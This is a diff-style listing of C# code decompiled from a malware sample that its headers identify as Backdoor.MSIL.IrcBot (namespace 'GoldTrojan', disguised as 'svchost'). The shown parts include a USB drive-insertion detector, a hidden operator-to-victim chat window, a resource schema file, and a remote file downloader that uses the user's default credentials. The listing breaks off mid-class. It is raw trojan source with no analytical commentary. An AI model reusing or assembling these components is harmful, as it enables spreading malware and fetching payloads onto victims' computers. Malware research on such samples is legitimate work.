this.RegisterQuery(letter1.ToString() + ":\\");
|
||||||
|
break;
|
||||||
|
case 32769:
|
||||||
|
if (Marshal.ReadInt32(m.LParam, 4) != 6)
|
||||||
|
break;
|
||||||
|
DriveDetectorEventHandler queryRemove = this.QueryRemove;
|
||||||
|
if (queryRemove == null)
|
||||||
|
break;
|
||||||
|
DriveDetectorEventArgs e2 = new DriveDetectorEventArgs();
|
||||||
|
e2.Drive = this.mCurrentDrive;
|
||||||
|
queryRemove((object) this, e2);
|
||||||
|
if (e2.Cancel)
|
||||||
|
{
|
||||||
|
m.Result = (IntPtr) 1112363332;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
this.RegisterForDeviceChange(false, (SafeFileHandle) null);
|
||||||
|
break;
|
||||||
|
case 32772:
|
||||||
|
if (Marshal.ReadInt32(m.LParam, 4) != 2 || Marshal.ReadInt32(m.LParam, 4) != 2)
|
||||||
|
break;
|
||||||
|
char letter2 = DriveDetector.DriveMaskToLetter(((DriveDetector.DEV_BROADCAST_VOLUME) Marshal.PtrToStructure(m.LParam, typeof (DriveDetector.DEV_BROADCAST_VOLUME))).dbcv_unitmask);
|
||||||
|
DriveDetectorEventHandler deviceRemoved = this.DeviceRemoved;
|
||||||
|
if (deviceRemoved == null)
|
||||||
|
break;
|
||||||
|
deviceRemoved((object) this, new DriveDetectorEventArgs()
|
||||||
|
{
|
||||||
|
Drive = letter2.ToString() + ":\\"
|
||||||
|
});
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void RegisterQuery(string drive)
|
||||||
|
{
|
||||||
|
bool flag = true;
|
||||||
|
if (this.mFileToOpen != null)
|
||||||
|
{
|
||||||
|
if (this.mFileToOpen.Contains(":"))
|
||||||
|
{
|
||||||
|
string path2 = this.mFileToOpen.Substring(3);
|
||||||
|
this.mFileToOpen = Path.Combine(Path.GetPathRoot(drive), path2);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
this.mFileToOpen = Path.Combine(drive, this.mFileToOpen);
|
||||||
|
}
|
||||||
|
try
|
||||||
|
{
|
||||||
|
this.mFileOnFlash = this.mFileToOpen != null ? new FileStream(this.mFileToOpen, FileMode.Open) : (FileStream) null;
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
flag = false;
|
||||||
|
}
|
||||||
|
if (!flag)
|
||||||
|
return;
|
||||||
|
if (this.mFileOnFlash == null)
|
||||||
|
this.RegisterForDeviceChange(drive);
|
||||||
|
else
|
||||||
|
this.RegisterForDeviceChange(true, this.mFileOnFlash.SafeFileHandle);
|
||||||
|
this.mCurrentDrive = drive;
|
||||||
|
}
|
||||||
|
|
||||||
|
private void RegisterForDeviceChange(string dirPath)
|
||||||
|
{
|
||||||
|
IntPtr num1 = DriveDetector.Native.OpenDirectory(dirPath);
|
||||||
|
if (num1 == IntPtr.Zero)
|
||||||
|
{
|
||||||
|
this.mDeviceNotifyHandle = IntPtr.Zero;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
this.mDirHandle = num1;
|
||||||
|
DriveDetector.DEV_BROADCAST_HANDLE structure = new DriveDetector.DEV_BROADCAST_HANDLE();
|
||||||
|
structure.dbch_devicetype = 6;
|
||||||
|
structure.dbch_reserved = 0;
|
||||||
|
structure.dbch_nameoffset = 0L;
|
||||||
|
structure.dbch_handle = num1;
|
||||||
|
structure.dbch_hdevnotify = (IntPtr) 0;
|
||||||
|
int cb = Marshal.SizeOf((object) structure);
|
||||||
|
structure.dbch_size = cb;
|
||||||
|
IntPtr num2 = Marshal.AllocHGlobal(cb);
|
||||||
|
Marshal.StructureToPtr((object) structure, num2, true);
|
||||||
|
this.mDeviceNotifyHandle = DriveDetector.Native.RegisterDeviceNotification(this.mRecipientHandle, num2, 0U);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void RegisterForDeviceChange(bool register, SafeFileHandle fileHandle)
|
||||||
|
{
|
||||||
|
if (register)
|
||||||
|
{
|
||||||
|
DriveDetector.DEV_BROADCAST_HANDLE structure = new DriveDetector.DEV_BROADCAST_HANDLE();
|
||||||
|
structure.dbch_devicetype = 6;
|
||||||
|
structure.dbch_reserved = 0;
|
||||||
|
structure.dbch_nameoffset = 0L;
|
||||||
|
structure.dbch_handle = fileHandle.DangerousGetHandle();
|
||||||
|
structure.dbch_hdevnotify = (IntPtr) 0;
|
||||||
|
int cb = Marshal.SizeOf((object) structure);
|
||||||
|
structure.dbch_size = cb;
|
||||||
|
IntPtr num = Marshal.AllocHGlobal(cb);
|
||||||
|
Marshal.StructureToPtr((object) structure, num, true);
|
||||||
|
this.mDeviceNotifyHandle = DriveDetector.Native.RegisterDeviceNotification(this.mRecipientHandle, num, 0U);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
if (this.mDirHandle != IntPtr.Zero)
|
||||||
|
DriveDetector.Native.CloseDirectoryHandle(this.mDirHandle);
|
||||||
|
if (this.mDeviceNotifyHandle != IntPtr.Zero)
|
||||||
|
{
|
||||||
|
int num = (int) DriveDetector.Native.UnregisterDeviceNotification(this.mDeviceNotifyHandle);
|
||||||
|
}
|
||||||
|
this.mDeviceNotifyHandle = IntPtr.Zero;
|
||||||
|
this.mDirHandle = IntPtr.Zero;
|
||||||
|
this.mCurrentDrive = "";
|
||||||
|
if (this.mFileOnFlash == null)
|
||||||
|
return;
|
||||||
|
this.mFileOnFlash.Close();
|
||||||
|
this.mFileOnFlash = (FileStream) null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static char DriveMaskToLetter(int mask)
|
||||||
|
{
|
||||||
|
string str = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
|
||||||
|
int index = 0;
|
||||||
|
int num = mask / 2;
|
||||||
|
while (num != 0)
|
||||||
|
{
|
||||||
|
num /= 2;
|
||||||
|
++index;
|
||||||
|
}
|
||||||
|
return index >= str.Length ? '?' : str[index];
|
||||||
|
}
|
||||||
|
|
||||||
|
private class Native
|
||||||
|
{
|
||||||
|
private const uint GENERIC_READ = 2147483648;
|
||||||
|
private const uint OPEN_EXISTING = 3;
|
||||||
|
private const uint FILE_SHARE_READ = 1;
|
||||||
|
private const uint FILE_SHARE_WRITE = 2;
|
||||||
|
private const uint FILE_ATTRIBUTE_NORMAL = 128;
|
||||||
|
private const uint FILE_FLAG_BACKUP_SEMANTICS = 33554432;
|
||||||
|
private static readonly IntPtr INVALID_HANDLE_VALUE = new IntPtr(-1);
|
||||||
|
|
||||||
|
[DllImport("user32.dll", CharSet = CharSet.Auto)]
|
||||||
|
public static extern IntPtr RegisterDeviceNotification(
|
||||||
|
IntPtr hRecipient,
|
||||||
|
IntPtr NotificationFilter,
|
||||||
|
uint Flags);
|
||||||
|
|
||||||
|
[DllImport("user32.dll", CharSet = CharSet.Auto)]
|
||||||
|
public static extern uint UnregisterDeviceNotification(IntPtr hHandle);
|
||||||
|
|
||||||
|
[DllImport("kernel32", SetLastError = true)]
|
||||||
|
private static extern IntPtr CreateFile(
|
||||||
|
string FileName,
|
||||||
|
uint DesiredAccess,
|
||||||
|
uint ShareMode,
|
||||||
|
uint SecurityAttributes,
|
||||||
|
uint CreationDisposition,
|
||||||
|
uint FlagsAndAttributes,
|
||||||
|
int hTemplateFile);
|
||||||
|
|
||||||
|
[DllImport("kernel32", SetLastError = true)]
|
||||||
|
private static extern bool CloseHandle(IntPtr hObject);
|
||||||
|
|
||||||
|
public static IntPtr OpenDirectory(string dirPath)
|
||||||
|
{
|
||||||
|
IntPtr file = DriveDetector.Native.CreateFile(dirPath, 2147483648U, 3U, 0U, 3U, 33554560U, 0);
|
||||||
|
return file == DriveDetector.Native.INVALID_HANDLE_VALUE ? IntPtr.Zero : file;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static bool CloseDirectoryHandle(IntPtr handle) => DriveDetector.Native.CloseHandle(handle);
|
||||||
|
}
|
||||||
|
|
||||||
|
public struct DEV_BROADCAST_HANDLE
|
||||||
|
{
|
||||||
|
public int dbch_size;
|
||||||
|
public int dbch_devicetype;
|
||||||
|
public int dbch_reserved;
|
||||||
|
public IntPtr dbch_handle;
|
||||||
|
public IntPtr dbch_hdevnotify;
|
||||||
|
public Guid dbch_eventguid;
|
||||||
|
public long dbch_nameoffset;
|
||||||
|
public byte dbch_data;
|
||||||
|
public byte dbch_data1;
|
||||||
|
}
|
||||||
|
|
||||||
|
public struct DEV_BROADCAST_VOLUME
|
||||||
|
{
|
||||||
|
public int dbcv_size;
|
||||||
|
public int dbcv_devicetype;
|
||||||
|
public int dbcv_reserved;
|
||||||
|
public int dbcv_unitmask;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,24 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Dolinay.DriveDetectorEventArgs
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
using System;
|
||||||
|
|
||||||
|
namespace Dolinay
|
||||||
|
{
|
||||||
|
public class DriveDetectorEventArgs : EventArgs
|
||||||
|
{
|
||||||
|
public bool Cancel;
|
||||||
|
public string Drive;
|
||||||
|
public bool HookQueryRemove;
|
||||||
|
|
||||||
|
public DriveDetectorEventArgs()
|
||||||
|
{
|
||||||
|
this.Cancel = false;
|
||||||
|
this.Drive = "";
|
||||||
|
this.HookQueryRemove = false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,10 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Dolinay.DriveDetectorEventHandler
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Dolinay
|
||||||
|
{
|
||||||
|
public delegate void DriveDetectorEventHandler(object sender, DriveDetectorEventArgs e);
|
||||||
|
}
|
@ -0,0 +1,131 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: GoldTrojan.Chat
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
using System;
|
||||||
|
using System.ComponentModel;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.Windows.Forms;
|
||||||
|
|
||||||
|
namespace GoldTrojan
|
||||||
|
{
|
||||||
|
public class Chat : Form
|
||||||
|
{
|
||||||
|
public string txt;
|
||||||
|
private string nicks;
|
||||||
|
private string nicko;
|
||||||
|
private IContainer components;
|
||||||
|
private Button button1;
|
||||||
|
private TextBox txtInput;
|
||||||
|
private TextBox txtOutput;
|
||||||
|
|
||||||
|
public Chat() => this.InitializeComponent();
|
||||||
|
|
||||||
|
public void WyswietlWiadomosc(string tekst)
|
||||||
|
{
|
||||||
|
TextBox txtOutput = this.txtOutput;
|
||||||
|
txtOutput.Text = txtOutput.Text + this.nicks + ": " + this.godzina() + Environment.NewLine + tekst + Environment.NewLine;
|
||||||
|
this.Odswiez();
|
||||||
|
}
|
||||||
|
|
||||||
|
private string godzina()
|
||||||
|
{
|
||||||
|
DateTime now = DateTime.Now;
|
||||||
|
return "[" + Convert.ToString(now.Hour) + ":" + Convert.ToString(now.Minute) + "]";
|
||||||
|
}
|
||||||
|
|
||||||
|
public void Dane(string nickser, string nickofiary)
|
||||||
|
{
|
||||||
|
this.nicks = nickser;
|
||||||
|
this.nicko = nickofiary;
|
||||||
|
}
|
||||||
|
|
||||||
|
private void Odswiez()
|
||||||
|
{
|
||||||
|
this.txtOutput.SelectionStart = this.txtOutput.Text.Length;
|
||||||
|
this.txtOutput.ScrollToCaret();
|
||||||
|
this.txtOutput.Refresh();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void button1_Click(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
string str1 = this.nicko + ": " + this.godzina() + Environment.NewLine + this.txtInput.Text + Environment.NewLine;
|
||||||
|
string str2 = this.godzina() + " " + this.txtInput.Text;
|
||||||
|
Chat chat = this;
|
||||||
|
chat.txt = chat.txt + str2 + " ";
|
||||||
|
this.txtOutput.Text += str1;
|
||||||
|
this.Odswiez();
|
||||||
|
this.txtInput.Text = "";
|
||||||
|
}
|
||||||
|
|
||||||
|
private void Chat_KeyDown(object sender, KeyEventArgs e)
|
||||||
|
{
|
||||||
|
if (e.KeyCode != Keys.Return)
|
||||||
|
return;
|
||||||
|
this.button1_Click(sender, (EventArgs) e);
|
||||||
|
}
|
||||||
|
|
||||||
|
private void txtInput_KeyDown(object sender, KeyEventArgs e)
|
||||||
|
{
|
||||||
|
if (e.KeyCode != Keys.Return)
|
||||||
|
return;
|
||||||
|
this.button1_Click(sender, (EventArgs) e);
|
||||||
|
}
|
||||||
|
|
||||||
|
private void Chat_FormClosing(object sender, FormClosingEventArgs e) => new Chat().Hide();
|
||||||
|
|
||||||
|
protected override void Dispose(bool disposing)
|
||||||
|
{
|
||||||
|
if (disposing && this.components != null)
|
||||||
|
this.components.Dispose();
|
||||||
|
base.Dispose(disposing);
|
||||||
|
}
|
||||||
|
|
||||||
|
private void InitializeComponent()
|
||||||
|
{
|
||||||
|
this.button1 = new Button();
|
||||||
|
this.txtInput = new TextBox();
|
||||||
|
this.txtOutput = new TextBox();
|
||||||
|
this.SuspendLayout();
|
||||||
|
this.button1.AllowDrop = true;
|
||||||
|
this.button1.Location = new Point(12, 231);
|
||||||
|
this.button1.Name = "button1";
|
||||||
|
this.button1.Size = new Size(268, 23);
|
||||||
|
this.button1.TabIndex = 4;
|
||||||
|
this.button1.Text = "Wyślij";
|
||||||
|
this.button1.UseVisualStyleBackColor = true;
|
||||||
|
this.button1.Click += new EventHandler(this.button1_Click);
|
||||||
|
this.txtInput.AllowDrop = true;
|
||||||
|
this.txtInput.Location = new Point(12, 205);
|
||||||
|
this.txtInput.Name = "txtInput";
|
||||||
|
this.txtInput.Size = new Size(268, 20);
|
||||||
|
this.txtInput.TabIndex = 3;
|
||||||
|
this.txtInput.KeyDown += new KeyEventHandler(this.txtInput_KeyDown);
|
||||||
|
this.txtOutput.AllowDrop = true;
|
||||||
|
this.txtOutput.Location = new Point(12, 12);
|
||||||
|
this.txtOutput.Multiline = true;
|
||||||
|
this.txtOutput.Name = "txtOutput";
|
||||||
|
this.txtOutput.ReadOnly = true;
|
||||||
|
this.txtOutput.ScrollBars = ScrollBars.Vertical;
|
||||||
|
this.txtOutput.Size = new Size(268, 176);
|
||||||
|
this.txtOutput.TabIndex = 5;
|
||||||
|
this.txtOutput.WordWrap = false;
|
||||||
|
this.AllowDrop = true;
|
||||||
|
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||||
|
this.AutoScaleMode = AutoScaleMode.Font;
|
||||||
|
this.ClientSize = new Size(292, 266);
|
||||||
|
this.Controls.Add((Control) this.button1);
|
||||||
|
this.Controls.Add((Control) this.txtInput);
|
||||||
|
this.Controls.Add((Control) this.txtOutput);
|
||||||
|
this.Name = nameof (Chat);
|
||||||
|
this.ShowInTaskbar = false;
|
||||||
|
this.Text = nameof (Chat);
|
||||||
|
this.FormClosing += new FormClosingEventHandler(this.Chat_FormClosing);
|
||||||
|
this.KeyDown += new KeyEventHandler(this.Chat_KeyDown);
|
||||||
|
this.ResumeLayout(false);
|
||||||
|
this.PerformLayout();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,120 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<root>
|
||||||
|
<!--
|
||||||
|
Microsoft ResX Schema
|
||||||
|
|
||||||
|
Version 2.0
|
||||||
|
|
||||||
|
The primary goals of this format is to allow a simple XML format
|
||||||
|
that is mostly human readable. The generation and parsing of the
|
||||||
|
various data types are done through the TypeConverter classes
|
||||||
|
associated with the data types.
|
||||||
|
|
||||||
|
Example:
|
||||||
|
|
||||||
|
... ado.net/XML headers & schema ...
|
||||||
|
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||||
|
<resheader name="version">2.0</resheader>
|
||||||
|
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||||
|
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||||
|
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||||
|
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||||
|
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||||
|
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||||
|
</data>
|
||||||
|
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||||
|
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||||
|
<comment>This is a comment</comment>
|
||||||
|
</data>
|
||||||
|
|
||||||
|
There are any number of "resheader" rows that contain simple
|
||||||
|
name/value pairs.
|
||||||
|
|
||||||
|
Each data row contains a name, and value. The row also contains a
|
||||||
|
type or mimetype. Type corresponds to a .NET class that support
|
||||||
|
text/value conversion through the TypeConverter architecture.
|
||||||
|
Classes that don't support this are serialized and stored with the
|
||||||
|
mimetype set.
|
||||||
|
|
||||||
|
The mimetype is used for serialized objects, and tells the
|
||||||
|
ResXResourceReader how to depersist the object. This is currently not
|
||||||
|
extensible. For a given mimetype the value must be set accordingly:
|
||||||
|
|
||||||
|
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||||
|
that the ResXResourceWriter will generate, however the reader can
|
||||||
|
read any of the formats listed below.
|
||||||
|
|
||||||
|
mimetype: application/x-microsoft.net.object.binary.base64
|
||||||
|
value : The object must be serialized with
|
||||||
|
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||||
|
: and then encoded with base64 encoding.
|
||||||
|
|
||||||
|
mimetype: application/x-microsoft.net.object.soap.base64
|
||||||
|
value : The object must be serialized with
|
||||||
|
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||||
|
: and then encoded with base64 encoding.
|
||||||
|
|
||||||
|
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||||
|
value : The object must be serialized into a byte array
|
||||||
|
: using a System.ComponentModel.TypeConverter
|
||||||
|
: and then encoded with base64 encoding.
|
||||||
|
-->
|
||||||
|
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||||
|
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||||
|
<xsd:element name="root" msdata:IsDataSet="true">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:choice maxOccurs="unbounded">
|
||||||
|
<xsd:element name="metadata">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:sequence>
|
||||||
|
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||||
|
</xsd:sequence>
|
||||||
|
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||||
|
<xsd:attribute name="type" type="xsd:string" />
|
||||||
|
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||||
|
<xsd:attribute ref="xml:space" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
<xsd:element name="assembly">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:attribute name="alias" type="xsd:string" />
|
||||||
|
<xsd:attribute name="name" type="xsd:string" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
<xsd:element name="data">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:sequence>
|
||||||
|
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||||
|
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||||
|
</xsd:sequence>
|
||||||
|
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||||
|
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||||
|
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||||
|
<xsd:attribute ref="xml:space" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
<xsd:element name="resheader">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:sequence>
|
||||||
|
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||||
|
</xsd:sequence>
|
||||||
|
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
</xsd:choice>
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
</xsd:schema>
|
||||||
|
<resheader name="resmimetype">
|
||||||
|
<value>text/microsoft-resx</value>
|
||||||
|
</resheader>
|
||||||
|
<resheader name="version">
|
||||||
|
<value>2.0</value>
|
||||||
|
</resheader>
|
||||||
|
<resheader name="reader">
|
||||||
|
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||||
|
</resheader>
|
||||||
|
<resheader name="writer">
|
||||||
|
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||||
|
</resheader>
|
||||||
|
</root>
|
@ -0,0 +1,152 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: GoldTrojan.DownloadData
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
using System;
|
||||||
|
using System.IO;
|
||||||
|
using System.Net;
|
||||||
|
|
||||||
|
namespace GoldTrojan
|
||||||
|
{
|
||||||
|
internal class DownloadData
|
||||||
|
{
|
||||||
|
private WebResponse response;
|
||||||
|
private Stream stream;
|
||||||
|
private long size;
|
||||||
|
private long start;
|
||||||
|
private IWebProxy proxy;
|
||||||
|
|
||||||
|
public static DownloadData Create(string url, string destFolder) => DownloadData.Create(url, destFolder, (IWebProxy) null);
|
||||||
|
|
||||||
|
public static DownloadData Create(string url, string destFolder, IWebProxy proxy)
|
||||||
|
{
|
||||||
|
DownloadData downloadData = new DownloadData();
|
||||||
|
downloadData.proxy = proxy;
|
||||||
|
long fileSize = downloadData.GetFileSize(url);
|
||||||
|
downloadData.size = fileSize;
|
||||||
|
WebRequest request1 = downloadData.GetRequest(url);
|
||||||
|
try
|
||||||
|
{
|
||||||
|
downloadData.response = request1.GetResponse();
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
throw new ArgumentException(string.Format("Error downloading \"{0}\": {1}", (object) url, (object) ex.Message), ex);
|
||||||
|
}
|
||||||
|
DownloadData.ValidateResponse(downloadData.response, url);
|
||||||
|
string fileName = Path.GetFileName(downloadData.response.ResponseUri.ToString());
|
||||||
|
string str = Path.Combine(destFolder, fileName);
|
||||||
|
if (!downloadData.IsProgressKnown && System.IO.File.Exists(str))
|
||||||
|
System.IO.File.Delete(str);
|
||||||
|
if (downloadData.IsProgressKnown && System.IO.File.Exists(str))
|
||||||
|
{
|
||||||
|
if (!(downloadData.Response is HttpWebResponse))
|
||||||
|
{
|
||||||
|
System.IO.File.Delete(str);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
downloadData.start = new FileInfo(str).Length;
|
||||||
|
if (downloadData.start > fileSize)
|
||||||
|
System.IO.File.Delete(str);
|
||||||
|
else if (downloadData.start < fileSize)
|
||||||
|
{
|
||||||
|
downloadData.response.Close();
|
||||||
|
WebRequest request2 = downloadData.GetRequest(url);
|
||||||
|
((HttpWebRequest) request2).AddRange((int) downloadData.start);
|
||||||
|
downloadData.response = request2.GetResponse();
|
||||||
|
if (((HttpWebResponse) downloadData.Response).StatusCode != HttpStatusCode.PartialContent)
|
||||||
|
{
|
||||||
|
System.IO.File.Delete(str);
|
||||||
|
downloadData.start = 0L;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return downloadData;
|
||||||
|
}
|
||||||
|
|
||||||
|
private DownloadData()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
private DownloadData(WebResponse response, long size, long start)
|
||||||
|
{
|
||||||
|
this.response = response;
|
||||||
|
this.size = size;
|
||||||
|
this.start = start;
|
||||||
|
this.stream = (Stream) null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void ValidateResponse(WebResponse response, string url)
|
||||||
|
{
|
||||||
|
switch (response)
|
||||||
|
{
|
||||||
|
case HttpWebResponse _:
|
||||||
|
HttpWebResponse httpWebResponse = (HttpWebResponse) response;
|
||||||
|
if (!httpWebResponse.ContentType.Contains("text/html") && httpWebResponse.StatusCode != HttpStatusCode.NotFound)
|
||||||
|
break;
|
||||||
|
throw new ArgumentException(string.Format("Could not download \"{0}\" - a web page was returned from the web server.", (object) url));
|
||||||
|
case FtpWebResponse _:
|
||||||
|
if (((FtpWebResponse) response).StatusCode != FtpStatusCode.ConnectionClosed)
|
||||||
|
break;
|
||||||
|
throw new ArgumentException(string.Format("Could not download \"{0}\" - FTP server closed the connection.", (object) url));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private long GetFileSize(string url)
|
||||||
|
{
|
||||||
|
WebResponse webResponse = (WebResponse) null;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
webResponse = this.GetRequest(url).GetResponse();
|
||||||
|
return webResponse.ContentLength;
|
||||||
|
}
|
||||||
|
finally
|
||||||
|
{
|
||||||
|
webResponse?.Close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private WebRequest GetRequest(string url)
|
||||||
|
{
|
||||||
|
WebRequest request = WebRequest.Create(url);
|
||||||
|
if (request is HttpWebRequest)
|
||||||
|
{
|
||||||
|
request.Credentials = CredentialCache.DefaultCredentials;
|
||||||
|
request.Proxy.GetProxy(new Uri("http://www.google.com"));
|
||||||
|
}
|
||||||
|
if (this.proxy != null)
|
||||||
|
request.Proxy = this.proxy;
|
||||||
|
return request;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void Close() => this.response.Close();
|
||||||
|
|
||||||
|
public WebResponse Response
|
||||||
|
{
|
||||||
|
get => this.response;
|
||||||
|
set => this.response = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public Stream DownloadStream
|
||||||
|
{
|
||||||
|
get
|
||||||
|
{
|
||||||
|
if (this.start == this.size)
|
||||||
|
return Stream.Null;
|
||||||
|
if (this.stream == null)
|
||||||
|
this.stream = this.response.GetResponseStream();
|
||||||
|
return this.stream;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public long FileSize => this.size;
|
||||||
|
|
||||||
|
public long StartPoint => this.start;
|
||||||
|
|
||||||
|
public bool IsProgressKnown => this.size > -1L;
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,49 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: GoldTrojan.DownloadEventArgs
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
using System;
|
||||||
|
|
||||||
|
namespace GoldTrojan
|
||||||
|
{
|
||||||
|
public class DownloadEventArgs : EventArgs
|
||||||
|
{
|
||||||
|
private int percentDone;
|
||||||
|
private string downloadState;
|
||||||
|
private long totalFileSize;
|
||||||
|
private long currentFileSize;
|
||||||
|
|
||||||
|
public long TotalFileSize
|
||||||
|
{
|
||||||
|
get => this.totalFileSize;
|
||||||
|
set => this.totalFileSize = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public long CurrentFileSize
|
||||||
|
{
|
||||||
|
get => this.currentFileSize;
|
||||||
|
set => this.currentFileSize = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public DownloadEventArgs(long totalFileSize, long currentFileSize)
|
||||||
|
{
|
||||||
|
this.totalFileSize = totalFileSize;
|
||||||
|
this.currentFileSize = currentFileSize;
|
||||||
|
this.percentDone = (int) ((double) currentFileSize / (double) totalFileSize * 100.0);
|
||||||
|
}
|
||||||
|
|
||||||
